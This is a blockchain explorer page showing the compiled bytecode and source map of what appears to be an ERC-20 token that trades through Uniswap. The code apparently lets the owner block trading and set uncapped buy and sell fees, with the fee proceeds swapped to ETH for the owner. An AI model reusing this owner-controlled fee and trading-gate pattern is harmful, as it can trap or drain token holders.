7565b348015610245575f80fd5b5061015f610254366004610ccb565b61069d565b348015610264575f80fd5b50610175610273366004610d30565b60036020525f908152604090205481565b34801561028f575f80fd5b506100fb6106e4565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610b7e565b6106f3565b3480156102f9575f80fd5b50610175610308366004610d4b565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d82565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d82565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b6002546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6104896009600a610eb1565b610497906307270e00610ebf565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104ce908490610ed6565b909155506104df9050848484610706565b949350505050565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610ee9565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610ee9565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610ee9565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f4f565b5060016106df8282610f4f565b505050565b60606001805461033290610d82565b5f6106ff338484610706565b9392505050565b5f8061071a6002546001600160a01b031690565b600554909150600160a81b900460ff16806107465750806001600160a01b0316856001600160a01b0316145b806107625750806001600160a01b0316846001600160a01b0316145b61076a575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610791908490610ed6565b90915550506005546001600160a01b0385811691161480156107bd5750600554600160a01b900460ff16155b80156107fc575060646107d26009600a610eb1565b6107e0906307270e00610ebf565b6107ea919061100a565b305f9081526003602052604090205410155b801561081a5750806001600160a01b0316856001600160a01b031614155b156109f8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061086557610865611029565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f99190610ee9565b8160018151811061090c5761090c611029565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f6139606461094c6009600a610eb1565b61095a906307270e00610ebf565b610964919061100a565b5f8430426040518663ffffffff1660e01b815260040161098895949392919061103d565b5f604051808303815f87803b15801561099f575f80fd5b505af11580156109b1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156109e8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a365750600554600160a81b900460ff1615156001145b15610aaa576005545f906064906001600160a01b03898116911614610a5b5783610a5d565b825b610a6a9060ff1688610ebf565b610a74919061100a565b9050610a808187610ed6565b305f90815260036020526040812080549298508392909190610aa39084906110ad565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610ad19084906110ad565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1d91815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b7b575f80fd5b50565b5f8060408385031215610b8f575f80fd5b8235610b9a81610b67565b946020939093013593505050565b803560ff81168114610bb8575f80fd5b919050565b5f8060408385031215610bce575f80fd5b610bd783610ba8565b9150610be560208401610ba8565b90509250929050565b5f805f60608486031215610c00575f80fd5b8335610c0b81610b67565b92506020840135610c1b81610b67565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610c4f575f80fd5b813567ffffffffffffffff811115610c6957610c69610c2c565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610c9857610c98610c2c565b604052818152838201602001851015610caf575f80fd5b816020850160208301375f918101602001919091529392505050565b5f8060408385031215610cdc575f80fd5b823567ffffffffffffffff811115610cf2575f80fd5b610cfe85828601610c40565b925050602083013567ffffffffffffffff811115610d1a575f80fd5b610d2685828601610c40565b9150509250929050565b5f60208284031215610d40575f80fd5b81356106ff81610b67565b5f8060408385031215610d5c575f80fd5b8235610d6781610b67565b91506020830135610d7781610b67565b809150509250929050565b600181811c90821680610d9657607f821691505b602082108103610db457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e0957808504811115610ded57610ded610dba565b6001841615610dfb57908102905b60019390931c928002610dd2565b935093915050565b5f82610e1f57506001610419565b81610e2b57505f610419565b8160018114610e415760028114610e4b57610e67565b6001915050610419565b60ff841115610e5c57610e5c610dba565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610e8a575081810a610419565b610e965f198484610dce565b805f1904821115610ea957610ea9610dba565b029392505050565b5f6106ff60ff841683610e11565b808202811582820484141761041957610419610dba565b8181038181111561041957610419610dba565b5f60208284031215610ef9575f80fd5b81516106ff81610b67565b601f8211156106df57805f5260205f20601f840160051c81016020851015610f295750805b601f840160051c820191505b81811015610f48575f8155600101610f35565b5050505050565b815167ffffffffffffffff811115610f6957610f69610c2c565b610f7d81610f778454610d82565b84610f04565b6020601f821160018114610faf575f8315610f985750848201515b5f19600385901b1c1916600184901b178455610f48565b5f84815260208120601f198516915b82811015610fde5787850151825560209485019460019092019101610fbe565b5084821015610ffb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f8261102457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561108d5783516001600160a01b0316835260209384019390920191600101611066565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561041957610419610dba56fea2646970667358221220fb22755f7a1c65f77c3a08edc2b67d6e7e63e25565d3a4982143c0ac0fbb44b364736f6c634300081a0033

Deployed Bytecode Sourcemap

1034:4723:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3893:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3541:207;;;;;;;;;;-1:-1:-1;3541:207:1;;;;;:::i;:::-;;:::i;:::-;;;1110:14:8;;1103:22;1085:41;;1073:2;1058:18;3541:207:1;945:187:8;2502:167:1;;;;;;;;;;-1:-1:-1;2502:167:1;;;;;:::i;:::-;;:::i;:::-;;1196:64;;;;;;;;;;;;;:::i;:::-;;;1701:25:8;;;1689:2;1674:18;1196:64:1;1555:177:8;3310:223:1;;;;;;;;;;-1:-1:-1;3310:223:1;;;;;:::i;:::-;;:::i;1155:34::-;;;;;;;;;;;;1188:1;1155:34;;;;;2422:4:8;2410:17;;;2392:36;;2380:2;2365:18;1155:34:1;2250:184:8;1376:26:1;;;;;;;;;;-1:-1:-1;1376:26:1;;;;-1:-1:-1;;;;;1376:26:1;;;;-1:-1:-1;;;1376:26:1;;;;;-1:-1:-1;;;1376:26:1;;;;;;;;;-1:-1:-1;;;;;2651:32:8;;;2633:51;;2732:4;2720:17;;;2715:2;2700:18;;2693:45;2774:17;;2754:18;;;2747:45;2621:2;2606:18;1376:26:1;2439:359:8;2927:375:1;;;;;;;;;;;;;:::i;5529:225::-;;;;;;;;;;-1:-1:-1;5529:225:1;;;;;:::i;:::-;;:::i;1693:44::-;;;;;;;;;;-1:-1:-1;1693:44:1;;;;;:::i;:::-;;;;;;;;;;;;;;3992:95;;;;;;;;;;;;;:::i;1817:19::-;;;;;;;;;;-1:-1:-1;1817:19:1;;;;-1:-1:-1;;;;;1817:19:1;;;;;;-1:-1:-1;;;;;4625:32:8;;;4607:51;;4595:2;4580:18;1817:19:1;4461:203:8;3756:129:1;;;;;;;;;;-1:-1:-1;3756:129:1;;;;;:::i;:::-;;:::i;1744:64::-;;;;;;;;;;-1:-1:-1;1744:64:1;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;3893:91;3938:13;3971:5;3964:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3893:91;:::o;3541:207::-;3636:10;3609:4;3626:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3626:30:1;;;;;;;;;;:39;;;3681:37;3609:4;;3626:30;;3681:37;;;;3659:6;1701:25:8;;1689:2;1674:18;;1555:177;3681:37:1;;;;;;;;-1:-1:-1;3736:4:1;3541:207;;;;;:::o;2502:167::-;2893:9;:18;-1:-1:-1;;;;;2893:18:1;2565:10;:43;2561:69;;2617:13;;-1:-1:-1;;;2617:13:1;;;;;;;;;;;2561:69;2736:9;:21;;-1:-1:-1;;;;2768:22:1;-1:-1:-1;;;2736:21:1;;;;;-1:-1:-1;;;;2768:22:1;;-1:-1:-1;;;2768:22:1;;;;;;;;;;;;;;2502:167::o;1196:64::-;1248:12;1188:1;1248:2;:12;:::i;:::-;1234:26;;:11;:26;:::i;:::-;1196:64;:::o;3310:223::-;-1:-1:-1;;;;;3443:15:1;;3426:4;3443:15;;;:9;:15;;;;;;;;3459:10;3443:27;;;;;;;:37;;3474:6;;3443:27;3426:4;;3443:37;;3474:6;;3443:37;:::i;:::-;;;;-1:-1:-1;3498:27:1;;-1:-1:-1;3508:4:1;3514:2;3518:6;3498:9;:27::i;:::-;3491:34;3310:223;-1:-1:-1;;;;3310:223:1:o;2927:375::-;2893:9;:18;-1:-1:-1;;;;;2893:18:1;2978:10;:43;2970:52;;;;;;3042:11;;-1:-1:-1;;;3042:11:1;;;;3041:12;3033:21;;;;;;3065:16;1918:42;-1:-1:-1;;;;;3084:24:1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3065:45;;3121:13;1918:42;-1:-1:-1;;;;;3137:21:1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3187:55;;-1:-1:-1;;;3187:55:1;;3229:4;3187:55;;;7747:51:8;-1:-1:-1;;;;;7834:32:8;;;7814:18;;;7807:60;3121:39:1;;-1:-1:-1;3171:13:1;;3187:33;;;;;7720:18:8;;3187:55:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3253:4;:12;;-1:-1:-1;;;;;;3276:18:1;-1:-1:-1;;;;;3253:12:1;;;3276:18;;;;-1:-1:-1;;;3276:18:1;;;-1:-1:-1;;;2927:375:1:o;5529:225::-;2893:9;:18;-1:-1:-1;;;;;2893:18:1;5623:10;:43;5619:69;;5675:13;;-1:-1:-1;;;5675:13:1;;;;;;;;;;;5619:69;5699:5;:16;5707:8;5699:5;:16;:::i;:::-;-1:-1:-1;5726:7:1;:20;5736:10;5726:7;:20;:::i;:::-;;5529:225;;:::o;3992:95::-;4039:13;4072:7;4065:14;;;;;:::i;3756:129::-;3820:4;3844:33;3854:10;3866:2;3870:6;3844:9;:33::i;:::-;3837:40;3756:129;-1:-1:-1;;;3756:129:1:o;4095:1426::-;4208:4;4225:16;4244:29;2893:9;:18;-1:-1:-1;;;;;2893:18:1;;2806:113;4244:29;4292:11;;4225:48;;-1:-1:-1;;;;4292:11:1;;;;;:31;;;4315:8;-1:-1:-1;;;;;4307:16:1;:4;-1:-1:-1;;;;;4307:16:1;;4292:31;:49;;;;4333:8;-1:-1:-1;;;;;4327:14:1;:2;-1:-1:-1;;;;;4327:14:1;;4292:49;4284:58;;;;;;-1:-1:-1;;;;;4355:15:1;;;;;;:9;:15;;;;;:25;;4374:6;;4355:15;:25;;4374:6;;4355:25;:::i;:::-;;;;-1:-1:-1;;4403:4:1;;-1:-1:-1;;;;;4397:10:1;;;4403:4;;4397:10;:23;;;;-1:-1:-1;4412:8:1;;-1:-1:-1;;;4412:8:1;;;;4411:9;4397:23;:65;;;;-1:-1:-1;1453:3:1;1248:12;1188:1;1248:2;:12;:::i;:::-;1234:26;;:11;:26;:::i;:::-;1439:17;;;;:::i;:::-;4442:4;4424:24;;;;:9;:24;;;;;;:38;;4397:65;:85;;;;;4474:8;-1:-1:-1;;;;;4466:16:1;:4;-1:-1:-1;;;;;4466:16:1;;;4397:85;4393:649;;;4499:8;:15;;-1:-1:-1;;;;4499:15:1;-1:-1:-1;;;4499:15:1;;;4553:16;;;4567:1;4553:16;;;;;;;;-1:-1:-1;;4553:16:1;;;;;;;;;;-1:-1:-1;4553:16:1;4529:40;;4602:4;4584;4589:1;4584:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;4584:23:1;;;-1:-1:-1;;;;;4584:23:1;;;;;1918:42;-1:-1:-1;;;;;4632:21:1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4622:4;4627:1;4622:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4622:33:1;;;:7;;;;;;;;;;;:33;1918:42;4670:88;1453:3;1248:12;1188:1;1248:2;:12;:::i;:::-;1234:26;;:11;:26;:::i;:::-;1439:17;;;;:::i;:::-;4814:1;4838:4;4873;4901:15;4670:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4950:49:1;;-1:-1:-1;;;;;4950:26:1;;;-1:-1:-1;4977:21:1;4950:49;;;;;-1:-1:-1;4977:21:1;4950:49;;;;4977:21;4950:26;:49;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5014:8:1;:16;;-1:-1:-1;;;;5014:16:1;;;4393:649;5089:9;:16;;-1:-1:-1;;;5089:16:1;;;;;-1:-1:-1;;;5107:17:1;;;-1:-1:-1;;;;;5140:21:1;;5156:4;5140:21;;;;:44;;-1:-1:-1;5165:11:1;;-1:-1:-1;;;5165:11:1;;;;:19;;5180:4;5165:19;5140:44;5136:280;;;5265:4;;5201:27;;5295:3;;-1:-1:-1;;;;;5259:10:1;;;5265:4;;5259:10;:31;;5283:7;5259:31;;;5272:8;5259:31;5232:59;;;;:6;:59;:::i;:::-;5231:67;;;;:::i;:::-;5201:97;-1:-1:-1;5313:29:1;5201:97;5313:29;;:::i;:::-;5375:4;5357:24;;;;:9;:24;;;;;:47;;5313:29;;-1:-1:-1;5385:19:1;;5357:24;;;:47;;5385:19;;5357:47;:::i;:::-;;;;-1:-1:-1;;;5136:280:1;-1:-1:-1;;;;;5426:13:1;;;;;;:9;:13;;;;;:23;;5443:6;;5426:13;:23;;5443:6;;5426:23;:::i;:::-;;;;;;;;5480:2;-1:-1:-1;;;;;5465:26:1;5474:4;-1:-1:-1;;;;;5465:26:1;;5484:6;5465:26;;;;1701:25:8;;1689:2;1674:18;;1555:177;5465:26:1;;;;;;;;-1:-1:-1;5509:4:1;;4095:1426;-1:-1:-1;;;;;;4095:1426:1:o;14:418:8:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:8;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:8:o;1137:156::-;1203:20;;1263:4;1252:16;;1242:27;;1232:55;;1283:1;1280;1273:12;1232:55;1137:156;;;:::o;1298:252::-;1362:6;1370;1423:2;1411:9;1402:7;1398:23;1394:32;1391:52;;;1439:1;1436;1429:12;1391:52;1462:27;1479:9;1462:27;:::i;:::-;1452:37;;1508:36;1540:2;1529:9;1525:18;1508:36;:::i;:::-;1498:46;;1298:252;;;;;:::o;1737:508::-;1814:6;1822;1830;1883:2;1871:9;1862:7;1858:23;1854:32;1851:52;;;1899:1;1896;1889:12;1851:52;1938:9;1925:23;1957:31;1982:5;1957:31;:::i;:::-;2007:5;-1:-1:-1;2064:2:8;2049:18;;2036:32;2077:33;2036:32;2077:33;:::i;:::-;1737:508;;2129:7;;-1:-1:-1;;;2209:2:8;2194:18;;;;2181:32;;1737:508::o;2803:127::-;2864:10;2859:3;2855:20;2852:1;2845:31;2895:4;2892:1;2885:15;2919:4;2916:1;2909:15;2935:726;2978:5;3031:3;3024:4;3016:6;3012:17;3008:27;2998:55;;3049:1;3046;3039:12;2998:55;3089:6;3076:20;3119:18;3111:6;3108:30;3105:56;;;3141:18;;:::i;:::-;3190:2;3184:9;3282:2;3244:17;;-1:-1:-1;;3240:31:8;;;3273:2;3236:40;3232:54;3220:67;;3317:18;3302:34;;3338:22;;;3299:62;3296:88;;;3364:18;;:::i;:::-;3400:2;3393:22;3424;;;3465:19;;;3486:4;3461:30;3458:39;-1:-1:-1;3455:59:8;;;3510:1;3507;3500:12;3455:59;3574:6;3567:4;3559:6;3555:17;3548:4;3540:6;3536:17;3523:58;3629:1;3601:19;;;3622:4;3597:30;3590:41;;;;3605:6;2935:726;-1:-1:-1;;;2935:726:8:o;3666:538::-;3754:6;3762;3815:2;3803:9;3794:7;3790:23;3786:32;3783:52;;;3831:1;3828;3821:12;3783:52;3871:9;3858:23;3904:18;3896:6;3893:30;3890:50;;;3936:1;3933;3926:12;3890:50;3959;4001:7;3992:6;3981:9;3977:22;3959:50;:::i;:::-;3949:60;;;4062:2;4051:9;4047:18;4034:32;4091:18;4081:8;4078:32;4075:52;;;4123:1;4120;4113:12;4075:52;4146;4190:7;4179:8;4168:9;4164:24;4146:52;:::i;:::-;4136:62;;;3666:538;;;;;:::o;4209:247::-;4268:6;4321:2;4309:9;4300:7;4296:23;4292:32;4289:52;;;4337:1;4334;4327:12;4289:52;4376:9;4363:23;4395:31;4420:5;4395:31;:::i;4669:388::-;4737:6;4745;4798:2;4786:9;4777:7;4773:23;4769:32;4766:52;;;4814:1;4811;4804:12;4766:52;4853:9;4840:23;4872:31;4897:5;4872:31;:::i;:::-;4922:5;-1:-1:-1;4979:2:8;4964:18;;4951:32;4992:33;4951:32;4992:33;:::i;:::-;5044:7;5034:17;;;4669:388;;;;;:::o;5062:380::-;5141:1;5137:12;;;;5184;;;5205:61;;5259:4;5251:6;5247:17;5237:27;;5205:61;5312:2;5304:6;5301:14;5281:18;5278:38;5275:161;;5358:10;5353:3;5349:20;5346:1;5339:31;5393:4;5390:1;5383:15;5421:4;5418:1;5411:15;5275:161;;5062:380;;;:::o;5447:127::-;5508:10;5503:3;5499:20;5496:1;5489:31;5539:4;5536:1;5529:15;5563:4;5560:1;5553:15;5579:375;5667:1;5685:5;5699:249;5720:1;5710:8;5707:15;5699:249;;;5770:4;5765:3;5761:14;5755:4;5752:24;5749:50;;;5779:18;;:::i;:::-;5829:1;5819:8;5815:16;5812:49;;;5843:16;;;;5812:49;5926:1;5922:16;;;;;5882:15;;5699:249;;;5579:375;;;;;;:::o;5959:902::-;6008:5;6038:8;6028:80;;-1:-1:-1;6079:1:8;6093:5;;6028:80;6127:4;6117:76;;-1:-1:-1;6164:1:8;6178:5;;6117:76;6209:4;6227:1;6222:59;;;;6295:1;6290:174;;;;6202:262;;6222:59;6252:1;6243:10;;6266:5;;;6290:174;6327:3;6317:8;6314:17;6311:43;;;6334:18;;:::i;:::-;-1:-1:-1;;6390:1:8;6376:16;;6449:5;;6202:262;;6548:2;6538:8;6535:16;6529:3;6523:4;6520:13;6516:36;6510:2;6500:8;6497:16;6492:2;6486:4;6483:12;6479:35;6476:77;6473:203;;;-1:-1:-1;6585:19:8;;;6661:5;;6473:203;6708:42;-1:-1:-1;;6733:8:8;6727:4;6708:42;:::i;:::-;6786:6;6782:1;6778:6;6774:19;6765:7;6762:32;6759:58;;;6797:18;;:::i;:::-;6835:20;;5959:902;-1:-1:-1;;;5959:902:8:o;6866:140::-;6924:5;6953:47;6994:4;6984:8;6980:19;6974:4;6953:47;:::i;7011:168::-;7084:9;;;7115;;7132:15;;;7126:22;;7112:37;7102:71;;7153:18;;:::i;7184:128::-;7251:9;;;7272:11;;;7269:37;;;7286:18;;:::i;7317:251::-;7387:6;7440:2;7428:9;7419:7;7415:23;7411:32;7408:52;;;7456:1;7453;7446:12;7408:52;7488:9;7482:16;7507:31;7532:5;7507:31;:::i;8004:518::-;8106:2;8101:3;8098:11;8095:421;;;8142:5;8139:1;8132:16;8186:4;8183:1;8173:18;8256:2;8244:10;8240:19;8237:1;8233:27;8227:4;8223:38;8292:4;8280:10;8277:20;8274:47;;;-1:-1:-1;8315:4:8;8274:47;8370:2;8365:3;8361:12;8358:1;8354:20;8348:4;8344:31;8334:41;;8425:81;8443:2;8436:5;8433:13;8425:81;;;8502:1;8488:16;;8469:1;8458:13;8425:81;;;8429:3;;8004:518;;;:::o;8698:1299::-;8824:3;8818:10;8851:18;8843:6;8840:30;8837:56;;;8873:18;;:::i;:::-;8902:97;8992:6;8952:38;8984:4;8978:11;8952:38;:::i;:::-;8946:4;8902:97;:::i;:::-;9048:4;9079:2;9068:14;;9096:1;9091:649;;;;9784:1;9801:6;9798:89;;;-1:-1:-1;9853:19:8;;;9847:26;9798:89;-1:-1:-1;;8655:1:8;8651:11;;;8647:24;8643:29;8633:40;8679:1;8675:11;;;8630:57;9900:81;;9061:930;;9091:649;7951:1;7944:14;;;7988:4;7975:18;;-1:-1:-1;;9127:20:8;;;9245:222;9259:7;9256:1;9253:14;9245:222;;;9341:19;;;9335:26;9320:42;;9448:4;9433:20;;;;9401:1;9389:14;;;;9275:12;9245:222;;;9249:3;9495:6;9486:7;9483:19;9480:201;;;9556:19;;;9550:26;-1:-1:-1;;9639:1:8;9635:14;;;9651:3;9631:24;9627:37;9623:42;9608:58;9593:74;;9480:201;-1:-1:-1;;;;9727:1:8;9711:14;;;9707:22;9694:36;;-1:-1:-1;8698:1299:8:o;10002:217::-;10042:1;10068;10058:132;;10112:10;10107:3;10103:20;10100:1;10093:31;10147:4;10144:1;10137:15;10175:4;10172:1;10165:15;10058:132;-1:-1:-1;10204:9:8;;10002:217::o;10224:127::-;10285:10;10280:3;10276:20;10273:1;10266:31;10316:4;10313:1;10306:15;10340:4;10337:1;10330:15;10356:959;10618:4;10666:3;10655:9;10651:19;10697:6;10686:9;10679:25;10740:6;10735:2;10724:9;10720:18;10713:34;10783:3;10778:2;10767:9;10763:18;10756:31;10807:6;10842;10836:13;10873:6;10865;10858:22;10911:3;10900:9;10896:19;10889:26;;10950:2;10942:6;10938:15;10924:29;;10971:1;10981:195;10995:6;10992:1;10989:13;10981:195;;;11060:13;;-1:-1:-1;;;;;11056:39:8;11044:52;;11125:2;11151:15;;;;11116:12;;;;11092:1;11010:9;10981:195;;;-1:-1:-1;;;;;;;11232:32:8;;;;11227:2;11212:18;;11205:60;-1:-1:-1;;11296:3:8;11281:19;11274:35;11193:3;10356:959;-1:-1:-1;;;10356:959:8:o;11320:125::-;11385:9;;;11406:10;;;11403:36;;;11419:18;;:::i

Swarm Source

ipfs://fb22755f7a1c65f77c3a08edc2b67d6e7e63e25565d3a4982143c0ac0fbb44b3

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.